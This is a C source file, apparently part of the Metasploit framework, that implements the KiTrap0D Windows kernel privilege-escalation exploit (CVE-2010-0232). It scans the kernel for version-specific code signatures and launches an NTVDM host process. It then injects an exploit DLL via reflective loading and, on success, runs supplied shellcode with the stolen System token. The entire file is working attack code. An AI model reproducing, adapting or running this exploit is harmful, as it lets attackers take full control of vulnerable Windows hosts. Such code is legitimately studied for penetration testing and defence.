/*!
 * @file kitrap0d.c
 * @brief A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmallowed.c).
 * @remark See http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
 * @remark Known Bugs:
 *          - Windows NT4 fails to map the NULL page, (exit code 'NTAV').
 *          - Windows 2000 fails to find the VDM_TIB size (something else is wrong)
 *          - Windows 2008 Storage Server has 16-bit applications disabled by default
 *          - Windows 2008 Storage Server is also missing twunk_16.exe, has debug.exe
 */
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"

#include <stdio.h>
#include "../common/common.h"
#include "../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
#include "../common/ResourceLoader.h"
#include "resource.h"

#define PAGE_SIZE 0x1000

enum { SystemModuleInformation = 11 };

typedef struct
{
	ULONG   Unknown1;
	ULONG   Unknown2;
	PVOID   Base;
	ULONG   Size;
	ULONG   Flags;
	USHORT  Index;
	USHORT  NameLength;
	USHORT  LoadCount;
	USHORT  PathLength;
	CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct
{
	ULONG   Count;
	SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef struct CodeSignature
{
	UCHAR Signature[16];
	DWORD Version;
};

/*!
 * @brief List of code signatures used when searching kernel memory.
 * @remark These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
 */
struct CodeSignature CodeSignatures[] = {
	{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00", 0 }, // Windows NT4
	{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 1 }, // Windows 2000
	{ "\x64\xA1\x1C\x00\x00\x00\x5F\x8B\x70\x04\xB9\x84\x00\x00\x00\x89", 1 }, // Windows 2000 SP4 Advanced Server
	{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 2 }, // Windows XP
	{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00", 3 }, // Windows 2003
	{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 3 }, // Windows .NET
	{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 4 }, // Windows Vista
	{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 5 }, // Windows 2008
	{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 6 }, // Windows 7
	{ "", -1 }
};

/*!
 * @brief Scan the appropriate kernel image for the correct offset.
 * @retval TRUE An offset was found.
 * @retval FALSE An offset was not found.
 */
BOOL kitrap0d_scan_kernel(PDWORD KernelBase, PDWORD OffsetFromBase)
{
	DWORD dwResult = ERROR_SUCCESS;
	FARPROC NtQuerySystemInformation = NULL;
	HMODULE hKernel = NULL;
	HMODULE hNtdll = NULL;
	PIMAGE_DOS_HEADER DosHeader = NULL;
	PIMAGE_NT_HEADERS PeHeader = NULL;
	PIMAGE_OPTIONAL_HEADER OptHeader = NULL;
	PBYTE ImageBase = NULL;
	HKEY MmHandle = NULL;
	OSVERSIONINFO os = { 0 };
	SYSTEM_MODULE_INFORMATION ModuleInfo = { 0 };
	DWORD PhysicalAddressExtensions = 0;
	DWORD DataSize = 0;
	ULONG i = 0;
	ULONG x = 0;

	// List of versions we have code signatures for.
	enum {
		MICROSOFT_WINDOWS_NT4 = 0,
		MICROSOFT_WINDOWS_2000 = 1,
		MICROSOFT_WINDOWS_XP = 2,
		MICROSOFT_WINDOWS_2003 = 3,
		MICROSOFT_WINDOWS_VISTA = 4,
		MICROSOFT_WINDOWS_2008 = 5,
		MICROSOFT_WINDOWS_7 = 6,
	} Version = MICROSOFT_WINDOWS_7;

	do
	{
		hNtdll = GetModuleHandle("ntdll");
		if (!hNtdll) {
			BREAK_WITH_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE);
		}

		// NtQuerySystemInformation can be used to find kernel base address
		NtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
		if (!NtQuerySystemInformation) {
			BREAK_WITH_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE);
		}

		// Determine kernel version so that the correct code signature is used
		os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
		if (!GetVersionEx(&os)) {
			BREAK_ON_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed");
		}

		dprintf("[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion);

		if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
			Version = MICROSOFT_WINDOWS_NT4;
		}
		if (os.dwMajorVersion == 5) {
			if (os.dwMinorVersion == 0) {
				Version = MICROSOFT_WINDOWS_2000;
			}
			if (os.dwMinorVersion == 1) {
				Version = MICROSOFT_WINDOWS_XP;
			}
			if (os.dwMinorVersion == 2) {
				Version = MICROSOFT_WINDOWS_2003;
			}
		}
		if (os.dwMajorVersion == 6) {
			if (os.dwMinorVersion == 0) {
				Version = MICROSOFT_WINDOWS_VISTA;
			}
			if (os.dwMinorVersion == 0) {
				Version = MICROSOFT_WINDOWS_2008;
			}
			if (os.dwMinorVersion == 1) {
				Version = MICROSOFT_WINDOWS_7;
			}
		}

		// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
		NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof(ModuleInfo), NULL);

		dprintf("[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base);

		// Load the kernel image specified
		hKernel = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1);
		if (!hKernel) {
			BREAK_ON_ERROR("[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed");
		}

		// Parse image headers
		*KernelBase = (DWORD)ModuleInfo.Module[0].Base;
		ImageBase = (PBYTE)hKernel;
		DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
		PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
		OptHeader = &PeHeader->OptionalHeader;

		dprintf("[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version);

		for (x = 0;; x++)
		{
			if (CodeSignatures[x].Version == -1) {
				break;
			}

			if (CodeSignatures[x].Version != Version) {
				continue;
			}

			dprintf("[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x);

			// Scan for the appropriate signature...
			for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++)
			{
				if (memcmp(&ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature) == 0)
				{
					dprintf("[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i);

					*OffsetFromBase = i;

					FreeLibrary(hKernel);

					return TRUE;
				}
			}
		}

	} while (0);

	dprintf("[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel");

	if (hKernel) {
		FreeLibrary(hKernel);
	}

	return FALSE;
}

/*!
 * @brief Grab a useful Handle to NTVDM.
 * @param cpProgram Path to the program to invoke.
 * @param hProcess Pointer to the variable that will receive the process handle.
 * @retval TRUE Handle acquisition succeeded.
 * @retval TRUE Handle acquisition failed.
 */
BOOL kitrap0d_spawn_ntvdm(char * cpProgram, HANDLE * hProcess)
{
	DWORD dwResult = ERROR_SUCCESS;
	PROCESS_INFORMATION pi = { 0 };
	STARTUPINFO si = { 0 };
	ULONG i = 0;

	do
	{
		si.cb = sizeof(STARTUPINFO);

		// Start the child process, which should invoke NTVDM...
		if (!CreateProcess(cpProgram, cpProgram, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
			BREAK_ON_ERROR("[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess failed");
		}

		dprintf("[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess(\"%s\") => %u", cpProgram, pi.dwProcessId);

		// Get more access
		*hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, pi.dwProcessId);
		if (*hProcess == NULL)
		{
			TerminateProcess(pi.hProcess, 'SPWN');
			CloseHandle(pi.hThread);
			CloseHandle(pi.hProcess);
			BREAK_ON_ERROR("[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess failed");
		}

		dprintf("[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess(%u) => %#x", pi.dwProcessId, *hProcess);

		CloseHandle(pi.hThread);

		CloseHandle(pi.hProcess);

	} while (0);

	if (dwResult == ERROR_SUCCESS) {
		return TRUE;
	}

	return FALSE;
}

/*!
 * @brief Find a suitable exe to host the exploit in.
 * @param cpOutput Buffer that will contain the path to the executable which will
 *                 host the exploit.
 * @param dwOutputSize Size of the \c cpOutput buffer.
 * @retval TRUE Found a valid exe to host the exploit in.
 * @retval FALSE Unable to find a valid exe to host the exploit in.
 */
BOOL elevate_via_exploit_getpath( char *cpOutput, DWORD dwOutputSize )
{
	DWORD dwResult         = ERROR_SUCCESS;
	char cWinDir[MAX_PATH] = {0};
	DWORD dwIndex          = 0;
	char * cpFiles[]       = {  "twunk_16.exe", 
								"debug.exe", 
								"system32\\debug.exe", 
								NULL };

	do
	{
		if( !GetWindowsDirectory( cWinDir, MAX_PATH ) )
			BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_getpath. GetWindowsDirectory failed" );
	
		while( TRUE )
		{
			char * cpFileName = cpFiles[dwIndex];
			if( !cpFileName )
				break;

			if ( _snprintf_s( cpOutput, dwOutputSize, dwOutputSize - 1, "%s%s%s", cWinDir,
				 cWinDir[ strlen(cWinDir) - 1 ] == '\\' ? "" : "\\", cpFileName ) == -1 )
			{
				dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Path truncation: %s", cpOutput );
				break;
			}

			dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Trying: %s", cpOutput );

			if( GetFileAttributes( cpOutput ) != INVALID_FILE_ATTRIBUTES )
				return TRUE;

			memset( cpOutput, 0, dwOutputSize );

			dwIndex++;
		}

	} while(0);

	return FALSE;
}

/*!
 * @brief Helper thread function which runs the given payload directly.
 * @param lpPayload The payload shellcode to execute.
 * @returns \c ERROR_SUCCESS
 */
DWORD WINAPI execute_payload(LPVOID lpPayload)
{
	dprintf("[KITRAP0D] Payload thread started.");
	VOID(*lpCode)() = (VOID(*)())lpPayload;
	lpCode();
	return ERROR_SUCCESS;
}

/*!
 * @breif Entry point for the KiTrap0D exploit.
 * @remark This is known as CVE-2010-0232.
 * @param hElevateModule Handle to the DLL which contains the kitrap0d_payload DLL.
 * @param lpPayload Pointer to the shellcode to run on successful exploitation.
 * @returns Indication of success or failure.
 * @retval ERROR_SUCCESS The exploit worked as expected.
 * @retval ERROR_NOT_SUPPORTED The exploit is not supported on this platform.
 */
DWORD elevate_via_exploit_kitrap0d(HMODULE hElevateModule, LPVOID lpPayload)
{
	DWORD dwResult = ERROR_SUCCESS;
	HANDLE hVdm = NULL;
	HANDLE hThread = NULL;
	LPVOID lpServiceBuffer = NULL;
	LPVOID lpRemoteCommandLine = NULL;
	char cWinDir[MAX_PATH] = { 0 };
	char cVdmPath[MAX_PATH] = { 0 };
	char cCommandLine[MAX_PATH] = { 0 };
	DWORD dwExitCode = 0;
	DWORD dwKernelBase = 0;
	DWORD dwOffset = 0;
	DWORD dwServiceLength = 0;

	do
	{
		dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting with HMODULE %x ...", hElevateModule);

		if (lpPayload == NULL) {
			BREAK_WITH_ERROR("[KITRAP0D] payload argument not specified", ERROR_BAD_ARGUMENTS);
		}

		if (resource_extract_raw(hElevateModule, IDR_DLL_KITRAP0D, "DLL", (LPBYTE*)&lpServiceBuffer, &dwServiceLength) != ERROR_SUCCESS) {
			BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. Failed to find/load kitrap0d.dll", ERROR_BAD_ARGUMENTS);
		}

		if (!dwServiceLength || !lpServiceBuffer) {
			BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. Failed to find/load kitrap0d.dll", ERROR_BAD_ARGUMENTS);
		}

		// 1. first get a file path to a suitable exe...
		if (!elevate_via_exploit_getpath(cVdmPath, MAX_PATH)) {
			BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND);
		}

		// 2. Scan kernel image for the required code sequence, and find the base address...
		if (!kitrap0d_scan_kernel(&dwKernelBase, &dwOffset)) {
			BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE);
		}

		// 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable...
		dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable");

		if (!kitrap0d_spawn_ntvdm(cVdmPath, &hVdm)) {
			BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE);
		}

		// 4. Use RDI to inject the elevator dll into the remote NTVDM process...
		//    Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique.
		_snprintf_s(cCommandLine, sizeof(cCommandLine), sizeof(cCommandLine), "/VDM_TARGET_PID:0x%08X /VDM_TARGET_KRN:0x%08X /VDM_TARGET_OFF:0x%08X\x00", GetCurrentProcessId(), dwKernelBase, dwOffset);

		// alloc some space and write the commandline which we will pass to the injected dll...
		lpRemoteCommandLine = VirtualAllocEx(hVdm, NULL, strlen(cCommandLine) + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

		if (!lpRemoteCommandLine) {
			BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. VirtualAllocEx failed");
		}

		if (!WriteProcessMemory(hVdm, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine) + 1, NULL)) {
			BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. WriteProcessMemory failed");
		}

		// inject the dll...
		hThread = LoadRemoteLibraryR(hVdm, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine);
		if (!hThread) {
			BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed");
		}

		// 5. Wait for the thread to complete
		dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread);
		WaitForSingleObject(hThread, INFINITE);

		// pass some information back via the exit code to indicate what happened.
		GetExitCodeThread(hThread, &dwExitCode);

		dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode);

		switch (dwExitCode)
		{
		case 'VTIB':
			// A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that
			// matches what the kernel expects.
			// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
			BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode);
		case 'NTAV':
			// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
			// expects to be present.
			// The exploit thread reports it didn't work.
			BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode);
		case 'VDMC':
			// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
			// It's entirely undocumented, so you'll have to use kd to step through it and find out why
			// it's failing.
			BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode);
		case 'LPID':
			// This exploit will try to transplant the token from PsInitialSystemProcess on to an
			// unprivileged process owned by you.
			// PsLookupProcessByProcessId() failed when trying to find your process.
			BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode);
		case FALSE:
			// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
			// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
			BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode);
		case 'w00t':
			// This means the exploit payload was executed at ring0 and succeeded.
			BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS);
		default:
			// Unknown error. Sorry, you're on your own.
			BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode);
		}

	} while (0);

	if (hVdm)
	{
		TerminateProcess(hVdm, 0);
		CloseHandle(hVdm);
	}

	if (hThread)
	{
		CloseHandle(hThread);
	}

	// if we succeeded, we need to run our payload in another thread.
	if (dwResult == ERROR_SUCCESS) {
		CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);
	}

	return dwResult;
}

/*!
 * @brief Entry point to the exploit DLL.
 * @param hinstDLL Reference to the DLL's module.
 * @param dwReason The reason code for the invocation.
 * @param lpReserved A reserved value, used by the exploit code.
 *                     - \c RUN_EXPLOIT_KITRAP0D - Execute the KiTrap0d exploit.
 * @returns \c TRUE all the time.
 * @remark The \c lpReserved value contains a number which identifies which
 *         exploit to invoke. This needs to be passed in from MSF, otherwise
 *         no exploit funtionality will be invoked.
 */
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
	DWORD dwExploit = 0;
	BOOL bReturnValue = TRUE;

	switch (dwReason)
	{
	case DLL_PROCESS_ATTACH:
		hAppInstance = hinstDLL;
		elevate_via_exploit_kitrap0d(hinstDLL, lpReserved);
		break;
	case DLL_QUERY_HMODULE:
		if (lpReserved != NULL) {
			*(HMODULE *)lpReserved = hAppInstance;
		}
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}
	return bReturnValue;
}
